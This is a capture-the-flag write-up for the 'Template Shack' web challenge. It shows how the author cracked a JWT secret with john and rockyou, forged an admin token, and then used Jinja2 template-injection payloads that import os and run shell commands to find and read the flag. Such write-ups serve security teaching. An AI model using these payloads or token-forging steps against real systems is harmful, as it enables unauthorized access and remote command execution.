Write up Template Shack

On the website we got a session-token and token that seems to be a jwt: to get the secret we have to bruteforce the jwt, using john:

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y" > jwt.hash To crack it: john jwt.hash -w=/usr/share/wordlists/rockyou.txt we get the secret as supersecret

Decoding it:

Now it's time to create a new token and sign it using the jwt_tool:

Using the tool to change guest for admin and sign it with the key:

Our brand new jwt token with "admin" eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I changing the token with this value gives us access to de admin panel:

I noticed that inside the admin template when a webpage doesn't exists it renders the endpoint on the 404, for example if I look for /admin/abt.html I got:

This added to the name of the challenge made me think about template injection and bingo:

So there is probably python running on the backgroung as this is a feature of flask jinja so let's find it out with {{ [].__class__.__base__.__subclasses__() }}:

So now we just need to use the os library to read the flag: {{ request.application.__globals__.__builtins__}}} we can access the builtins so we will try to import the os with { request.application.__globals__.__builtins__.__import__('os')}}

Its time to find the flag.txt {{ request.application.__globals__.__builtins__.__import__('os').popen('find / -name flag.txt').read()}}

and finally cat the flag {{ request.application.__globals__.__builtins__.__import__('os').popen('cat /home/user/flag.txt').read()}}

And that was all!

Original writeup (https://github.com/Ambrotd/hacktivitycon/blob/master/Template%20Shack/Template%20Shack.md).